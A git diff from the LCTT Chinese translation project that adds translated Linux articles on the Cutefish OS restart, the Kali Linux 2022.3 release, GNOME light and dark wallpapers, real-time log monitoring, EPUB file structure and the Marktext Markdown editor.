Opensource.com 中的文章 [《在 LaTeX 中创建文档的介绍》][12] ,了解使用 LaTeX 撰写科学技术文章的其他方式。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/8/pdf-latex + +作者:[Jim Hall][a] +选题:[lkxed][b] +译者:[Donkey](https://github.com/Donkey-Hao) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/jim-hall +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/coffee_tea_laptop_computer_work_desk.png +[2]: https://unsplash.com/@jonasleupe?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText +[3]: https://unsplash.com/s/photos/tea-cup-computer?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText +[4]: https://opensource.com/about +[5]: https://opensource.com/sites/default/files/2022-08/latex-output.jpg +[6]: https://opensource.com/sites/default/files/2022-08/latex-output-list.jpg +[7]: https://opensource.com/sites/default/files/2022-08/latex-output-list-2.jpg +[8]: https://opensource.com/sites/default/files/2022-08/latex-output-heading.jpg +[9]: https://opensource.com/sites/default/files/2022-08/latex-output-subheading.jpg +[10]: https://opensource.com/sites/default/files/2022-08/latex-output-about.jpg +[11]: https://opensource.com/sites/default/files/2022-08/latex-output-emphasis.jpg +[12]: https://opensource.com/article/17/6/introduction-latex diff --git a/published/202208/20220810 Cutefish OS Development Restarts with A Revised Vision.md b/published/202208/20220810 Cutefish OS Development Restarts with A Revised Vision.md new file mode 100644 index 0000000000..6705682fad --- /dev/null +++ b/published/202208/20220810 Cutefish OS Development Restarts with A Revised Vision.md @@ -0,0 +1,79 @@ +[#]: subject: "Cutefish OS Development Restarts with A Revised Vision" +[#]: via: "https://www.debugpoint.com/cutefish-development-restarts/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14924-1.html" + +Cutefish OS 开发重启 +====== + +![](https://img.linux.net.cn/data/attachment/album/202208/13/123818nek1wzveuzx1iuv6.jpg) + +经过了一个月,可能是在讨论、会谈和对话之后,Cutefish OS 正式重启了开发。 + +不久前,我们报道了 [Cutefish OS 停止开发][1],而且 GitHub 上没有任何活动。好吧,看起来开发者在 GitHub 上复活了这个项目,并对该操作系统的未来有了一些设想。 + +7 月 31 日,Cutefish OS 的 GitHub 主仓库进行了更新,内容如下: + +> 你喜欢的 CutefishOS 现在回来了!新网站正在建设中(即将推出) + +不仅如此,该团队还简要介绍了这个项目的路线图。 + +![Cutefish OS - 应用程序菜单][2] + +### Cutefish OS 的开发:即将到来的里程碑 + +首先,主要目标是官方网站的准备工作。 + +其次,根据 GitHub 上的说明,下一个版本可能会基于 [Ubuntu 22.04 LTS][3]。Cutefish OS 有不同的桌面定制版,如 Ubuntu 和 Debian。另外,你可以在 [Arch Linux 上只安装Cutefish 桌面][4]。 + +第三,该团队旨在评估当前的问题并开始接受拉取请求。完成这项工作后,将更容易确定需要修复的项目的优先次序。最后,为未来版本的新功能进行规划。 + +不仅如此,还有一种可能性,即用 openEuler Linux 开发新的 Cutefish 桌面定制版。[openEuler Linux][5] 是华为为商业和企业用途而创建的一个发行版。 + +![当前 Cutefish 操作系统计划][6] + +(LCTT 译注:但是从 GitHub 仓库来看,最近并没有任何实质动作。) + +### 一个新的名字? + +当我在寻找更多的信息时,我发现该团队注册了一个新的域名,有一个新的名字,即 [openfish.org][7](LCTT 译注:因无备案,展示无法访问)。桌面环境或整个操作系统将被重新命名为 openfish。在这一点上,我有一个猜测: + +旧的域名 cutefishos.com 可能被别人接管了,因此这样决定。 + +但是,在我看来,“openfish” 是一个比 “cutefish” 更好的品牌名称。 + +(LCTT 译注:究竟是原班人马中的部分人决定重启,还是整个团队复活,目前不得而知,从改名上看,似乎新的团队并没有 cutefish 相关的品牌控制权。) + +### 下一步是什么 + +最新的 0.8 版有几个与键盘、设置窗口、Flatpak 应用程序等有关的问题。最好的办法是在最后的基线上首先解决这些问题。然后可能是带有额外功能的 1.0 版本。 + +希望在未来几周内,我们能看到更多关于开发的更新。如果你想发表意见,询问有关期望或功能要求,[在 GitHub 上创建一个帖子][8]。 + +欢迎回来,Cutefish OS。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/cutefish-development-restarts/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.debugpoint.com/cutefish-os-development-halts/ +[2]: https://www.debugpoint.com/wp-content/uploads/2021/11/Cutefish-OS-Application-Menu-1024x582.jpg +[3]: https://www.debugpoint.com/web-stories/ubuntu-22-04-review/ +[4]: https://www.debugpoint.com/cutefish-arch-linux-install/ +[5]: https://www.openeuler.org/en/ +[6]: https://www.debugpoint.com/wp-content/uploads/2022/08/Current-Cutefish-OS-Plan.jpg +[7]: http://openfish.org/ +[8]: https://github.com/cutefishos/cutefishos/issues diff --git a/published/202208/20220810 Kali Linux 2022.3 Introduces a Test Lab Environment and New VirtualBox Image.md b/published/202208/20220810 Kali Linux 2022.3 Introduces a Test Lab Environment and New VirtualBox Image.md new file mode 100644 index 0000000000..9f6ac7ef1f --- /dev/null +++ b/published/202208/20220810 Kali Linux 2022.3 Introduces a Test Lab Environment and New VirtualBox Image.md @@ -0,0 +1,96 @@ +[#]: subject: "Kali Linux 2022.3 Introduces a Test Lab Environment and New VirtualBox Image" +[#]: via: "https://news.itsfoss.com/kali-linux-2022-3-release/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lujun9972" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14933-1.html" + +Kali Linux 2022.3 发布 +====== + +> Kali Linux 2022.3 在引入了新的 VirtualBox 镜像格式的同时,也使测试变得更加方便。不要忘了试试新的工具! + +![](https://news.itsfoss.com/wp-content/uploads/2022/08/kali-2022-3.jpg) + +Kali Linux 在 2022 年的第三次升级中带着激动人心的新内容回来了。 + +像往常一样,你可以期待新的工具和全面的改进。此外,还有一些关键的亮点,包括新的 **测试实验室环境** 和 **VirtualBox 镜像**。 + +在这里,让我给你介绍一下这个版本的细节。 + +### Kali Linux 2022.3 有什么新内容? + +Kali Linux 2022.3 的发布标志着他们开始启用了 **新的 Discord 服务器**,使社区能够聚集在一起,谈论关于 Kali Linux 的事情。 + +除了社区有了 Discord 服务器之外,应该引起你对升级的关注的事情包括: + + * 一个便于测试的新测试实验室环境 + * 开放 kali-tools 资源库,以供社区提交 + * NetHunter 商店中的新软件 + * 一个新的 VirtualBox 镜像格式 + * 大量的新工具 + +### 测试实验室环境 + +Kali Linux 是为安全研究人员量身定做的,可以用于测试和学习。但是,为了增强体验,使任何人都能毫不费力地建立一个测试实验室,Kali Linux 现在增加了易于安装的软件包,如 [DVWA][1] 和 [Juice Shop][2]。 + +开发者还提到,在不久的将来会有更多的软件包。 + +### 新工具 + +新的升级包括了五个有趣的工具,它们是: + + * BruteShark(网络分析工具) + * DefectDojo(开源的应用程序漏洞工具) + * phpsploit(隐蔽的破解后应用框架) + * shellfire(利用命令注入漏洞) + * SprayingToolkit(密码攻击) + +你可以探索这些工具以了解更多信息。 + +### 增强的 VirtualBox 支持 + +虽然 Kali Linux 已经可以用于 VMware 和 VirtualBox,但现在为 VirtualBox 用户提供了一种新的镜像格式。 + +你现在可以下载用于 VirtualBox 的 VDI 磁盘镜像和 .vbox 元数据文件。它是原生的 VirtualBox 镜像格式,具有更好的压缩率,下载速度更快。 + +对于希望使用最新和最先进工具的用户,Kali Linux 提供了按周构建的虚拟机镜像,构建自其滚动分支。 + +此外,如果你需要构建你的自定义虚拟机镜像,Kali Linux 已经在 [GitLab][3] 上提供了一些脚本。 + +### 其他改进 + +Kali Linux 2022.3 增加了几个重要的升级。其中包括: + + * 针对树莓派设备的 Linux 内核 5.15 更新。 + * 针对 ARM 设备的技术改进。 + * 文档更新,有一些新页面。 + * 网络存储库的维护工作。 + * NetHunter 商店的大量更新,以及对即将到来的 Android 12 支持。 + +### 下载 Kali Linux 2022.3 + +你可以在其 [官方下载页面][4] 找到最新的 Kali Linux 2022.3 ISO,以及新的 VirtualBox 镜像文件和每周更新包。 + +> **[Kali Linux 2022.3][5]** + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/kali-linux-2022-3-release/ + +作者:[Ankush Das][a] +选题:[lujun9972][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lujun9972 +[1]: https://www.kali.org/tools/dvwa/ +[2]: https://www.kali.org/tools/juice-shop/ +[3]: https://gitlab.com/kalilinux/build-scripts/kali-vm +[4]: https://www.kali.org/get-kali/ +[5]: https://www.kali.org/get-kali/#kali-platforms diff --git a/published/202208/20220814 Create Your Own Custom Light and Dark Wallpaper for GNOME.md b/published/202208/20220814 Create Your Own Custom Light and Dark Wallpaper for GNOME.md new file mode 100644 index 0000000000..e160975c38 --- /dev/null +++ b/published/202208/20220814 Create Your Own Custom Light and Dark Wallpaper for GNOME.md @@ -0,0 +1,111 @@ +[#]: subject: "Create Your Own Custom Light and Dark Wallpaper for GNOME" +[#]: via: "https://www.debugpoint.com/custom-light-dark-wallpaper-gnome/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14960-1.html" + +在 GNOME 中创建你自定义的浅色和深色壁纸 +====== + +![](https://img.linux.net.cn/data/attachment/album/202208/24/104023a3do33wdizyb3zw4.jpg) + +> 在 GNOME 桌面中创建自定义浅色和深色壁纸的简单指南。 + +[GNOME 42][1] 将期待已久的浅色和深色主题引入了 GNOME 桌面。它还带来了浅色和深色版壁纸,当你在浅色和深色主题之间切换时,它会自动改变。 + +因此,默认情况下,GNOME 会为你提供几组预配置的浅色和深色壁纸。 + +但是,如果你想要在主题更改时可以自动更改的别的壁纸怎么办? + +以下是在 GNOME 中为浅色和深色主题配置和创建自定义壁纸的方法。 + +### 如何为 GNOME 创建自定义浅色和深色壁纸 + +首先,确保有两个版本的壁纸。通常,它们应该是标准的 PNG 或 JPG 图像。例如,我们在演示中使用了以下两个壁纸。 + +![Sample light and dark wallpaper for demo][2] + +但是,如果你没有合适的浅色和深色壁纸,或正在寻找更多壁纸,在本指南的末尾,我会告诉你如何获取它们或准备你自己的。 + +跟着我来。 + +其次,我们需要为自己创建一个模式文件。壁纸的自动更换由名为 `adwaita.xml` 的 XML 文件处理,该文件定义了特定的浅色和深色背景标签。因此,我们将为壁纸创建 XML 文件。 + +为此,从 GitLab 复制 `adwaita.xml` 的内容并创建一个新的 XML 文件(链接在下面)。你应该在这个文件中看到两个标签:`filename` 和 `filename-dark`。这两个 XML 标记包含两个壁纸的完全限定路径。在这两个标签下添加图片的路径,如下所示。 + +> **[从这里下载 XML 文件 (adwaita.xml.in)][3]** + +![Change the XML file][4] + +第三步,使用你想要的任何名称将此文件保存到 `/home/YOUR_NAME/.local/share/gnome-background-properties`(请将 `YOUR_NAME` 替换为你的用户名)。如果 `gnome-background-properties` 不存在,请创建它们。对此示例,我使用了 `my_cool_backgrounds.xml`。 + +![Save the file][5] + +都准备好了。最后,打开设置并转到外观选项卡,你应该会看到选项中出现新的壁纸。 + +选择你的自定义浅色和深色壁纸并享受。 + +![The appearance tab now has your custom light and dark wallpaper][6] + +### 如何下载或制作你的动态壁纸 + +你一定会想,“谁有时间去寻找和创建深浅版本的壁纸”?一些网站为你提供现成的动态壁纸,你可以轻松下载和安装。 + +我推荐的一个网站是 [dynamicwallpaper.club][7],它为 macOS 提供了一些高达 6K 的优秀高质量壁纸。你可以轻松下载它们。 + +此外,如果你打算从上述网站下载,请记住该网站的图像是 [heic 格式][8],因为该网站适用于 macOS。高效视频编码(HEIC)是 Apple 的 HEIF(高效图像文件格式)的专有版本。 + +你需要一个驱动来查看和转换 Ubuntu 或 Fedora Linux 中的动态 heic 图像。那么,如何将它们转换为适用于 Linux 系统呢?打开终端并运行以下命令来安装驱动。 + +Ubuntu 用户: + +``` +sudo apt install heif-gdk-pixbuf +``` + +Fedora 用户: + +``` +sudo dnf install libheif +``` + +仅适用于带有 KDE Plasma 的 Fedora/Ubuntu(没有此插件,Plasma 应用无法打开 heic 图像): + +``` +sudo apt install qt-heif-image-plugin +sudo dnf install qt-heif-image-plugin +``` + +最后,使用你喜欢的图像查看器打开 heic 图像并将其保存为 JPG/PNG。 + +![Custom Light and Dark wallpaper in GNOME – transition][9] + +最后,别忘了在下面的评论部分告诉我你是否可以为 GNOME 创建自定义深色和浅色壁纸。 + +干杯。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/custom-light-dark-wallpaper-gnome/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.debugpoint.com/2022/03/gnome-42-release/ +[2]: https://www.debugpoint.com/wp-content/uploads/2022/04/Sample-light-and-dark-wallpaper-for-demo.jpg +[3]: https://gitlab.gnome.org/GNOME/gnome-backgrounds/-/tree/main/backgrounds +[4]: https://www.debugpoint.com/?attachment_id=9376 +[5]: https://www.debugpoint.com/?attachment_id=9375 +[6]: https://www.debugpoint.com/?attachment_id=9374 +[7]: https://dynamicwallpaper.club +[8]: https://en.wikipedia.org/wiki/High_Efficiency_Image_File_Format +[9]: https://www.debugpoint.com/wp-content/uploads/2022/04/Custom-Light-and-Dark-wallpaper-in-GNOME-transition.gif diff --git a/published/202208/20220814 How to Monitor Log Files in Real Time in Linux [Desktop and Server].md b/published/202208/20220814 How to Monitor Log Files in Real Time in Linux [Desktop and Server].md new file mode 100644 index 0000000000..ce744fb4e2 --- /dev/null +++ b/published/202208/20220814 How to Monitor Log Files in Real Time in Linux [Desktop and Server].md @@ -0,0 +1,135 @@ +[#]: subject: "How to Monitor Log Files in Real Time in Linux [Desktop and Server]" +[#]: via: "https://www.debugpoint.com/monitor-log-files-real-time/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14947-1.html" + +如何在 Linux 中实时监控日志文件 +====== + +![](https://img.linux.net.cn/data/attachment/album/202208/19/194609f1njqu096uhy919i.jpg) + +> 本教程介绍了如何实时监控 Linux 日志文件(桌面、服务器或应用)以进行诊断和故障排除。 + +当你在 Linux 桌面、服务器或任何应用中遇到问题时,你首先会查看单独的日志文件。日志文件通常是文本流和来自应用的带有时间戳的消息。它可以帮助你缩小特定问题的范围,并使你能够找到问题的原因。它还可以帮助从网络获得帮助。 + +一般来说,所有的日志文件都位于 `/var/log`。此目录包含特定应用和服务的扩展名为 `.log` 的日志文件,它还包含了其他含有日志的独立目录。 + +![log files in var-log][1] + +所以,如果你想监控一堆日志文件或特定的一个,这里有一些方法可以做到。 + +### Linux 实时监控日志文件 + +#### 使用 tail 命令 + +`tail` 命令是实时跟踪日志文件的最基本方式。特别是如果你在只有终端而没有 GUI 的服务器中。这很有帮助。 + +基本语法如下: + +``` +tail /path/to/log/file +``` + +用法: + +![Monitoring multiple log files via tail][2] + +可以使用开关 `-f` 跟踪实时更新的日志文件。例如,如果要关注 syslog,可以使用以下命令。 + +``` +tail -f /var/log/syslog +``` + +你可以使用单个命令监控多个日志文件: + +``` +tail -f /var/log/syslog /var/log/dmesg +``` + +如果要监视 HTTP 或 sftp 或任何服务器,可以在此命令中使用它们各自的日志文件。 + +请记住,上述命令需要管理员权限。 + +#### 使用 lnav(日志文件浏览器) + +![lnav Running][3] + +`lnav` 是一个出色的程序,你可以用它来用彩色编码的信息以更有条理的方式监控日志文件。在 Linux 系统中,这个工具不是默认安装的。你可以用下面的命令来安装它: + +Ubuntu: + +``` +sudo apt install lnav +``` + +Fedora: + +``` +sudo dnf install lnav +``` + +lnav 的好处在于,如果你不想安装它,你可以下载其预编译的可执行文件并在任何地方运行它,甚至可以从 U 盘上运行。无需设置,并加载了功能。使用 lnav,你可以通过 SQL 查询日志文件,以及其他很酷的功能,你可以在其[官方网站][4]上学习。 + +安装后,你可以在具有管理员权限的终端上运行 `lnav`,它会默认显示 `/var/log` 中的所有日志并开始实时监控。 + +#### 关于 systemd 的 journalctl 的一个说明 + +当今所有现代 Linux 发行版都主要使用 systemd。 systemd 提供了运行 Linux 操作系统的基本框架和组件。 systemd 通过 `journalctl` 提供日志服务,这有助于管理来自所有 systemd 服务的日志。你还可以使用以下命令实时监控各个 systemd 服务和日志。 + +``` +journalctl -f +``` + +以下是一些特定的 `journalctl` 命令,可用于多种情况。你可以将这些与上面的 `-f` 选项结合使用以开始实时监控。 + +对于紧急系统消息,请使用: + +``` +journalctl -p 0 +``` + +显示带有解释的错误: + +``` +journalctl -xb -p 3 +``` + +使用时间控制过滤: + +``` +journalctl --since "2022-12-04 06:00:00" +journalctl --since "2022-12-03" --until "2022-12-05 03:00:00" +journalctl --since yesterday +journalctl --since 09:00 --until "1 hour ago" +``` + +如果你想了解更多关于 journalctl 的详细信息,我已经在这写了份 [指南][5]。 + +### 结束语 + +我希望这些命令和技巧可以帮助你找到桌面或服务器中问题/错误的根本原因。有关更多详细信息,你可以随时参考手册页并使用各种选项。如果你对本文有任何意见或想法,请使用下面的评论栏告诉我。 + +干杯。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/monitor-log-files-real-time/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.debugpoint.com/wp-content/uploads/2021/08/log-files-in-var-log-1024x312.jpeg +[2]: https://www.debugpoint.com/wp-content/uploads/2021/08/Monitoring-multiple-log-files-via-tail.jpeg +[3]: https://www.debugpoint.com/wp-content/uploads/2021/08/lnav-Running.jpeg +[4]: https://lnav.org/features +[5]: https://www.debugpoint.com/2020/12/systemd-journalctl/ diff --git a/published/202208/20220816 A look inside an EPUB file.md b/published/202208/20220816 A look inside an EPUB file.md new file mode 100644 index 0000000000..d4fd9eae3e --- /dev/null +++ b/published/202208/20220816 A look inside an EPUB file.md @@ -0,0 +1,123 @@ +[#]: subject: "A look inside an EPUB file" +[#]: via: "https://opensource.com/article/22/8/epub-file" +[#]: author: "Jim Hall https://opensource.com/users/jim-hall" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14967-1.html" + +深入了解 EPUB 文件 +====== + +![](https://img.linux.net.cn/data/attachment/album/202208/25/223832eo3gq2o32uz0u0ll.jpg) + +> EPUB 文件是使用开放格式发布内容的好方法。 + +电子书提供了一种随时随地阅读书籍、杂志和其他内容的好方法。读者可以在长途飞行和乘坐火车时享受电子书打发时间。最流行的电子书文件格式是 EPUB 文件,它是“电子出版物electronic publication”的缩写。 EPUB 文件受到各种电子阅读器的支持,并且是当今电子书出版的有效标准。 + +EPUB 文件格式基于 XHTML 内容和 XML 元数据的开放标准,包含在 zip 存档中。由于一切都基于开放标准,我们可以使用通用工具来创建或检查 EPUB 文件。让我们探索一个 EPUB 文件以了解更多信息。《[C 编程技巧和窍门指南][2]》,于今年早些时候在 Opensource.com 上发布,提供 PDF 或 EPUB 格式。 + +因为 EPUB 文件是放在 zip 文件中的 XHTML 内容和 XML 元数据,所以你可以用 `unzip` 命令在命令行检查 EPUB: + +``` +$ unzip -l osdc_Jim-Hall_C-Programming-Tips.epub +Archive: osdc_Jim-Hall_C-Programming-Tips.epub +Length Date Time Name +--------- ---------- ----- ---- +20 06-23-2022 00:20 mimetype +8259 06-23-2022 00:20 OEBPS/styles/stylesheet.css +1659 06-23-2022 00:20 OEBPS/toc.xhtml +4460 06-23-2022 00:20 OEBPS/content.opf +44157 06-23-2022 00:20 OEBPS/sections/section0018.xhtml +1242 06-23-2022 00:20 OEBPS/sections/section0002.xhtml +22429 06-23-2022 00:20 OEBPS/sections/section0008.xhtml +[...] +9628 06-23-2022 00:20 OEBPS/sections/section0016.xhtml +748 06-23-2022 00:20 OEBPS/sections/section0001.xhtml +3370 06-23-2022 00:20 OEBPS/toc.ncx +8308 06-23-2022 00:21 OEBPS/images/image0011.png +6598 06-23-2022 00:21 OEBPS/images/image0009.png +[...] +14492 06-23-2022 00:21 OEBPS/images/image0005.png +239 06-23-2022 00:20 META-INF/container.xml +--------- ------- +959201 41 files +``` + +这个 EPUB 包含很多文件,但其中大部分是内容。要了解 EPUB 文件是如何组合在一起的,请遵循电子书阅读器的流程: + +1、电子书阅读器需要验证 EPUB 文件是否真的是 EPUB 文件。他们通过检查 EPUB 存档根目录中的 `mimetype` 文件来验证文件。该文件仅包含一行描述 EPUB 文件的 MIME 类型: + +``` +application/epub+zip +``` + +2、为了定位内容,电子书阅读器从 `META-INF/container.xml` 文件开始。这是一个简短的 XML 文档,指示在哪里可以找到内容。对于此 EPUB 文件,`container.xml` 文件如下所示: + +``` + + + + + + +``` + +为了使 `container.xml` 文件更易于阅读,我将单行拆分为多行,并添加了一些间距来缩进每行。XML 文件并不关心新行和空格等额外的空白,因此这种额外的间距不会影响 XML 文件。 + +3、`container.xml` 文件表示 EPUB 的根从 `OEBPS` 目录中的 `content.opf` 文件开始。OPF 扩展名是因为 EPUB 基于 “开放打包格式Open Packaging Format”,但 `content.opf` 文件实际上只是另一个 XML 文件。 + +4、`content.opf` 文件包含一个完整的 EPUB 内容清单,以及一个有序的目录,以及查找每一章或每一节的引用。这个 EPUB 的 `content.opf` 文件很长,因此我将在此仅展示一小部分作为示例。 + +XML 数据包含在 `` 块中,该块本身具有 `` 块、`` 数据和包含电子书目录的 `` 块: + +``` + + + + osdc002 + Tips and Tricks for C Programming + Jim Hall + English + 2022-06-23T12:09:13Z + + + + ... + + + + + ... + + + + + + ... + + +``` + +你可以把数据匹配起来,看看在哪里可以找到每个部分。EPUB 阅读器就是这样做的。例如,目录中的第一项引用了 `section0001`,它在清单中被定义为位于 `sections/section0001.xhtml` 文件中。该文件的名称不需要与 `idref` 条目相同,但 LibreOffice Writer 的自动程序就是这样创建该文件的。(你可以在元数据中看到,这个 EPUB 是在 Linux 上用 LibreOffice 7.3.0.3 版本创建的,它可以将内容导出为 EPUB 文件。) + +### EPUB 格式 + +EPUB 文件是一种使用开放格式发布内容的好方法。EPUB 文件格式是 XML 元数据与 XHTML 内容,包含在一个 zip 文件内。虽然大多数技术作家使用工具来创建 EPUB 文件,因为 EPUB 是基于开放标准,意味着你可以使用其他方式创建自己的 EPUB 文件。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/8/epub-file + +作者:[Jim Hall][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/jim-hall +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/find-file-linux-code_magnifying_glass_zero.png +[2]: https://opensource.com/downloads/guide-c-programming diff --git a/published/202208/20220816 Marktext is an Excellent Editor Even for Those Who Don-t Know Markdown.md b/published/202208/20220816 Marktext is an Excellent Editor Even for Those Who Don-t Know Markdown.md new file mode 100644 index 0000000000..a2033dd727 --- /dev/null +++ b/published/202208/20220816 Marktext is an Excellent Editor Even for Those Who Don-t Know Markdown.md @@ -0,0 +1,135 @@ +[#]: subject: "Marktext is an Excellent Editor Even for Those Who Don’t Know Markdown" +[#]: via: "https://itsfoss.com/marktext-editor/" +[#]: author: "Abhishek Prakash https://itsfoss.com/" +[#]: collector: "lkxed" +[#]: translator: "Chth0lly" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14986-1.html" + +即使对那些不知道 Markdown 的人来说,Marktext 也是一个绝佳的编辑器 +====== + +![](https://img.linux.net.cn/data/attachment/album/202208/31/170837f0kx77ewii4hkih0.jpg) + +又一个 Markdown 编辑器?我们见的 Markdown 编辑器还少吗? + +我明白你的感受,如果你是个 Markdown 爱好者,你可能已经用过很多 Markdown 编辑器了,比如 [Joplin][1] 和 [Zettlr][2]。但如果你不是的话,你可能根本就不在乎。 + +Markdown 是一个非常好的标记语言,特别是对那些在网络上写作的人来说。我不想在这里讲太多细节,但如果你有兴趣的话,我们有一篇 [非常棒的 Markdown 初学者教程][3]。 + +这次我想推荐给你(另一个)Markdown 编辑器,它叫 [Marktext][4],并且它是用 Electron 制作的(我们都明白这什么意思,先别急着埋怨我)。 + +我发现这将是一个很完美的编辑器。它很漂亮,而它运行起来也一样棒。下面是我这几天来的使用体验。 + +### Marktext: 人人可用的 Markdown 编辑器 + +尽管我很讨厌 [Electron 框架][5],但不得不承认基于 Electron 的应用都有一个干净、现代的界面。 + +![Marktext interface][6] + +我更喜欢深色模式主题,除此之外官方还提供了五种其它主题。 + +![Marktext dark theme][7] + +打开软件你就可以立刻进行写作,如果你不记得某个语法了,那也没有问题,输入 `@` 就可以得到语法提示,如: + +* 标题 +* 分隔线 +* 表格 +* Latex 数学公式 +* HTML 块 +* 代码块 +* 引用 +* 列表 +* 检查清单 +* 用 Vega-lite.js、Flowchart.js、js-sequence-diagrams 和 PlantUML 制作的图表 + +![Use various document elements in the editor by pressing @][8] + +选中文本你会得到一个格式选项框,来改变文本为粗体、斜体、下划线、删除线等。你也可以用黄色背景高亮文本、转换为内联代码、内联公式或插入超链接。 + +![Text formatting options][9] + +Marktext 也支持图片。我们都知道图片不是 Markdown 文件的一部分,它们是外部元素,但是你可以选择将图片保存到 .md 文件所在的目录下。 + +![Images are supported too][10] + +通过插入菜单来添加图片非常容易。你可以选择文本并且从弹出的格式选项中选择图片来添加,或使用 `Ctrl+Shift+I` 快捷键。但是不能为图片添加替换文本或图片说明,这点确实需要改进。 + +我喜欢 Marktext 的表格功能。你可以直接插入预先定义好大小的图表。如有需要,还可以很容易的改变大小。你可以只用鼠标移动列和行,而不用担心底层的代码。 + +![Tables are very well supported in Marktext][11] + +你可以启用侧边栏视图。侧边栏有三个功能:你可以打开包含多个 Markdown 文件的文件夹,在打开的文件夹中的所有文件上执行全局搜索,并显示当前打开的文件的大纲目录。大纲目录是根据子标题自动生成的。 + +![Sidebar view has three options: Show folder content, global search and table of content][12] + +底部的齿轮按钮是设置功能。你可以改变主题、改变图片设置、视图、开启自动保存等等。 + +![Configuration and settings][13] + +### 如何安装 Marktext + +Marktext 是一个跨平台的开源应用程序。所以不止在 Linux 上,你还可以在 Windows 和 macOS 安装。 + +在 Linux 上,你可以选择 AppImage 软件包或 Flatpak 软件包。从 [这里][14] 可以得到 Marktext 的 Appimage 软件包。 + +我选择了 Flatpak 版本,因为这样可以获得更好的系统集成。它运行良好,Marktext 自动成为我的 Ubuntu 22.04 系统上 .md 文件的默认编辑器。 + +请确保你启用了 Flatpak 支持,之后用以下方法添加上 Flathub 仓库: + +``` +flatpak remote-add --if-not-exists flathub https://flathub.org/repo/flathub.flatpakrepo +``` + +在这之后,用以下命令安装 Marktext 到你的系统上: + +``` +flatpak install flathub com.github.marktext.marktext +``` + +如果用了一段时间后你不喜欢 Marktext,可以用以下命令卸载: + +``` +fkatpak uninstall com.github.marktext.marktext +``` + +### 总结 + +Marktext 有很多小功能,例如字数统计、Latex 数学公式、拼写检查器、复制粘贴为 Markdown/HTML 格式,我留给你们自己去尝试。 + +实话实说,尽管多年来一直使用 Markdown 来写文章,但我也总会忘掉一些语法。我能记得常见的标题、列表、代码块等,但如果我必须创建一个表格,我不得不在网上搜索。 + +我已经 [尝试了许多 Markdown 编辑器][15],这其中确实有很多不错的。但是,我还是喜欢用 Marktext,它会在我的系统上存在很长时间。 + +如果你已经用过了话,请在评论区分享你的经验。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/marktext-editor/ + +作者:[Abhishek Prakash][a] +选题:[lkxed][b] +译者:[Chth0lly](https://github.com/Chth0lly) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/joplin/ +[2]: https://itsfoss.com/zettlr-markdown-editor/ +[3]: https://itsfoss.com/markdown-guide/ +[4]: https://github.com/marktext/marktext/ +[5]: https://www.electronjs.org/ +[6]: https://itsfoss.com/wp-content/uploads/2022/08/marktext-interface.png +[7]: https://itsfoss.com/wp-content/uploads/2022/08/marktext-dark-theme.png +[8]: https://itsfoss.com/wp-content/uploads/2022/08/marktext-insert-options.png +[9]: https://itsfoss.com/wp-content/uploads/2022/08/text-formatting-options-marktext.png 